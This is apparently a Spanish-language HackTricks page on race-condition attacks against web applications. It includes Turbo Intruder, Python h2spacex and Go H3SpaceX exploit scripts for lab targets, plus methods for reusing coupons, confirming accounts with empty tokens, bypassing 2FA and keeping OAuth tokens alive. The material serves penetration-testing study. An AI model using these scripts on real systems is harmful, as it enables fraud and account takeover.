Race Condition
Reading time: 18 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
warning
Para obtener una comprensión profunda de esta técnica, consulte el informe original en https://portswigger.net/research/smashing-the-state-machine
Enhancing Race Condition Attacks
El principal obstáculo para aprovechar race conditions es asegurarse de que múltiples requests se procesen al mismo tiempo, con muy poca diferencia en sus tiempos de procesamiento—idealmente, menos de 1ms.
Aquí puedes encontrar algunas técnicas para sincronizar Requests:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Permite enviar dos requests sobre una sola conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a variaciones del lado del servidor, dos requests pueden no ser suficientes para una explotación consistente de un race condition.
- HTTP/1.1 'Last-Byte Sync': Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento, que luego se envía junto, logrando la llegada simultánea al servidor.
Preparación para Last-Byte Sync implica:
- Enviar headers y body data menos el último byte sin cerrar el stream.
- Pausar durante 100ms después del envío inicial.
- Deshabilitar TCP_NODELAY para utilizar el algoritmo de Nagle y agrupar los frames finales.
- Hacer ping para calentar la conexión.
El envío posterior de los frames retenidos debería resultar en su llegada en un único paquete, verificable con Wireshark. Este método no aplica a archivos estáticos, que normalmente no están involucrados en ataques RC.
HTTP/3 Last‑Frame Synchronization (QUIC)
- Concepto: HTTP/3 funciona sobre QUIC (UDP). No hay coalescencia TCP ni Nagle en que apoyarse, por lo que el last‑byte sync clásico no funciona con clientes off‑the‑shelf. En su lugar, hay que coalescer deliberadamente múltiples DATA frames (FIN) finales de stream de QUIC en el mismo datagrama UDP para que el servidor procese todas las requests objetivo en el mismo ciclo de planificación.
- Cómo hacerlo: Usa una librería diseñada ad hoc que exponga control de frames QUIC. Por ejemplo, H3SpaceX manipula quic-go para implementar HTTP/3 last‑frame synchronization tanto para requests con body como para requests estilo GET sin body.
- Requests‑with‑body: enviar HEADERS + DATA menos el último byte para N streams, luego enviar el byte final de cada stream a la vez.
- GET‑style: crear DATA frames falsos (o un body pequeño con Content‑Length) y terminar todos los streams en un solo datagrama.
- Límites prácticos:
- La concurrencia está limitada por el parámetro de transporte QUIC max_streams del peer (similar a SETTINGS_MAX_CONCURRENT_STREAMS de HTTP/2). Si es bajo, abre múltiples conexiones H3 y reparte la race entre ellas.
- El tamaño de los datagramas UDP y el path MTU limitan cuántos frames finales de stream puedes coalescer. La librería gestiona dividir en múltiples datagramas si es necesario, pero un envío en un solo datagrama es más fiable.
- Práctica: Hay labs públicos de race H2/H3 y exploits de ejemplo que acompañan a H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Adaptación a la arquitectura del servidor
Entender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de forma distinta, afectando el timing. El calentamiento preventivo de conexiones en el servidor, mediante solicitudes inconsecuentes, puede normalizar los tiempos de las peticiones.
Manejo del bloqueo basado en sesión
Frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, lo que puede ocultar vulnerabilidades. Utilizar tokens de sesión diferentes para cada solicitud puede sortear este problema.
Superar límites de tasa o de recursos
Si el calentamiento de conexiones no es efectivo, provocar deliberadamente retrasos por límites de tasa o recursos en los servidores web mediante una avalancha de solicitudes dummy podría facilitar el single-packet attack al inducir un retraso del lado del servidor propicio para condiciones de carrera.
Ejemplos de ataques
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Puedes enviar la request a Turbo intruder (
Extensions->Turbo Intruder->Send to Turbo Intruder), puedes cambiar en la request el valor que quieras brute forcear para%scomo encsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%sy luego seleccionar laexamples/race-single-packer-attack.pydesde el drop down:
.png)
Si vas a enviar valores diferentes, podrías modificar el código con este que usa una wordlist desde el portapapeles:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Si el sitio web no soporta HTTP2 (solo HTTP1.1) usa Engine.THREADED o Engine.BURP en lugar de Engine.BURP2.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): En caso de que necesites enviar una request a 1 endpoint y luego varias a otros endpoints para desencadenar el RCE, puedes cambiar el script
race-single-packet-attack.pypor algo como:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- También está disponible en Repeater a través de la nueva opción 'Send group in parallel' en Burp Suite.
- Para limit-overrun podrías simplemente añadir la misma request 50 veces en el grupo.
- Para connection warming, podrías añadir al inicio del grupo algunas requests a alguna parte no estática del servidor web.
- Para delaying el proceso entre el procesamiento de una request y otra en un flujo de 2 subestados, podrías añadir requests adicionales entre ambas requests.
- Para un multi-endpoint RC podrías empezar enviando la request que va al estado oculto y luego 50 requests justo después que explotan el estado oculto.
.png)
- Script automatizado en python: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el token de verificación del nuevo email llegue al email anterior (esto es porque en el código se estaba viendo un RC donde era posible modificar un email pero hacer que la verificación se enviara al antiguo porque la variable que indica el email ya estaba poblada con el primero).
Cuando se encuentra la palabra "objetivo" en los emails recibidos, sabemos que hemos recibido el token de verificación del email cambiado y terminamos el ataque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: notas sobre engine y gating
- Engine selection: usa
Engine.BURP2en objetivos HTTP/2 para desencadenar el single‑packet attack; retrocede aEngine.THREADEDoEngine.BURPpara HTTP/1.1 last‑byte sync. gate/openGate: encola muchas copias congate='race1'(o gates por intento), lo que retiene la cola final de cada request;openGate('race1')vacía todas las colas juntas para que lleguen casi simultáneamente.- Diagnostics: las marcas de tiempo negativas en Turbo Intruder indican que el servidor respondió antes de que la request se enviara por completo, demostrando solapamiento. Esto es expected en true races.
- Connection warming: envía un ping o unas pocas requests inocuas primero para estabilizar los tiempos; opcionalmente deshabilita
TCP_NODELAYpara favorecer el batching de los últimos frames.
Mejorando Single Packet Attack
En la investigación original se explica que este attack tiene un límite de 1,500 bytes. Sin embargo, en this post, se explicó cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la limitación de ventana de TCP de 65,535 B usando IP layer fragmentation (splitting a single packet into multiple IP packets) y enviándolos en diferente orden, lo que impide reensamblar el paquete hasta que todos los fragmentos lleguen al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166 ms.
Ten en cuenta que, aunque esta mejora hace el attack más fiable en RC que requiere que cientos/miles de packets lleguen al mismo tiempo, también puede tener limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto SETTINGS_MAX_CONCURRENT_STREAMS fijado a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.
Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este RC attack). Para HTTP/3, el límite análogo es el parámetro de transporte max_streams de QUIC — si es pequeño, reparte tu race entre múltiples conexiones QUIC.
Puedes encontrar algunos ejemplos usando esta técnica en el repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los packets lo más rápido posible para provocar un RC.
- Repeater: Consulta los ejemplos de la sección anterior.
- Intruder: Envía la request a Intruder, ajusta el number of threads a 30 en el Options menu, selecciona como payload Null payloads y genera 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
Este es el tipo más básico de race condition donde vulnerabilidades que aparecen en lugares que limitan el número de veces que puedes realizar una acción. Como usar el mismo código de descuento en una tienda web varias veces. Un ejemplo muy sencillo se puede encontrar en this report o en this bug.
Hay muchas variaciones de este tipo de ataque, incluyendo:
- Canjear una tarjeta regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir efectivo por encima del saldo de tu cuenta
- Reutilizar una misma solución CAPTCHA
- Bypassing an anti-brute-force rate limit
Hidden substates
Explotar race conditions complejas a menudo implica aprovechar breves oportunidades para interactuar con substados de máquina ocultos o no intencionados. Aquí tienes cómo abordarlo:
- Identificar subestados ocultos potenciales
- Empieza por localizar endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Concéntrate en:
- Storage: Prefiere endpoints que manipulen datos persistentes del lado del servidor frente a aquellos que manejen datos del lado del cliente.
- Action: Busca operaciones que alteren datos existentes, ya que son más propensas a crear condiciones explotables en comparación con las que añaden datos nuevos.
- Keying: Los ataques exitosos suelen implicar operaciones indexadas por el mismo identificador, p. ej., nombre de usuario o token de reset.
- Realizar sondeos iniciales
- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación respecto a los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden indicar una vulnerabilidad.
- Demostrar la vulnerabilidad
- Reduce el ataque al número mínimo de solicitudes necesarias para explotarlo, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.
Time Sensitive Attacks
La precisión en el timing de las solicitudes puede revelar vulnerabilidades, especialmente cuando se usan métodos previsibles como timestamps para tokens de seguridad. Por ejemplo, generar password reset tokens basados en timestamps podría permitir tokens idénticos para solicitudes simultáneas.
To Exploit:
- Usa un timing preciso, como un single packet attack, para hacer solicitudes concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.
Example:
- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens coincidentes sugieren un fallo en la generación de tokens.
Consulta este PortSwigger Lab para probar esto.
Hidden substates case studies
Pay & add an Item
Consulta este PortSwigger Lab para ver cómo pagar en una tienda y añadir un artículo extra que no tendrás que pagar.
Confirm other emails
La idea es verificar una dirección de correo y cambiarla a otra diferente al mismo tiempo para averiguar si la plataforma verifica la nueva dirección cambiada.
Change email to 2 emails addresses Cookie based
Según this research Gitlab fue vulnerable a un takeover de esta manera porque podría enviar el email verification token de un correo a otro correo.
Consulta este PortSwigger Lab para probar esto.
Hidden Database states / Confirmation Bypass
Si se usan 2 escrituras diferentes para añadir información dentro de una database, hay una pequeña porción de tiempo donde solo los primeros datos han sido escritos dentro de la database. Por ejemplo, al crear un usuario el username y la password podrían ser escritos y luego el token para confirmar la cuenta recién creada se escribe. Esto significa que durante un breve tiempo el token para confirmar una cuenta es nulo.
Por lo tanto, registrar una cuenta y enviar varias solicitudes con un token vacío (token= o token[]= o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir confirmar una cuenta donde no controlas el correo.
Consulta este PortSwigger Lab para probar esto.
Bypass 2FA
El siguiente pseudo-código es vulnerable a race condition porque en un intervalo muy pequeño la 2FA no se aplica mientras se crea la sesión:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 persistencia eterna
There are several OAUth providers. Estos servicios te permiten crear una aplicación y autenticar usuarios que el provider ha registrado. Para ello, el client deberá permitir que tu aplicación acceda a parte de sus datos dentro del OAUth provider.
Así que, hasta aquí, es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "Application
Race Condition en authorization_code
El problema aparece cuando lo aceptas y se envía automáticamente un authorization_code a la aplicación maliciosa. Luego, esta aplicación abusa de una Race Condition en el OAUth service provider para generar más de un AT/RT (Authentication Token/Refresh Token) a partir del authorization_code de tu cuenta. Básicamente, se aprovecha de que has aceptado que la aplicación acceda a tus datos para crear varias cuentas. Entonces, si dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los otros seguirán siendo válidos.
Race Condition en Refresh Token
Una vez que has obtenido un RT válido podrías intentar abuse it para generar varios AT/RT y aun si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, varios RTs seguirán siendo válidos.
RC en WebSockets
- En WS_RaceCondition_PoC puedes encontrar un PoC en Java para enviar mensajes WebSocket en paralelo y abusar de Race Conditions también en WebSockets.
- Con WebSocket Turbo Intruder de Burp puedes usar el motor THREADED para crear múltiples conexiones WS y disparar payloads en paralelo. Parte desde el ejemplo oficial y ajusta
config()(thread count) para la concurrencia; esto suele ser más fiable que agrupar en una sola conexión cuando se compite por el estado del servidor a través de los handlers WS. Ver RaceConditionExample.py.
Referencias
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder – GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
- PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks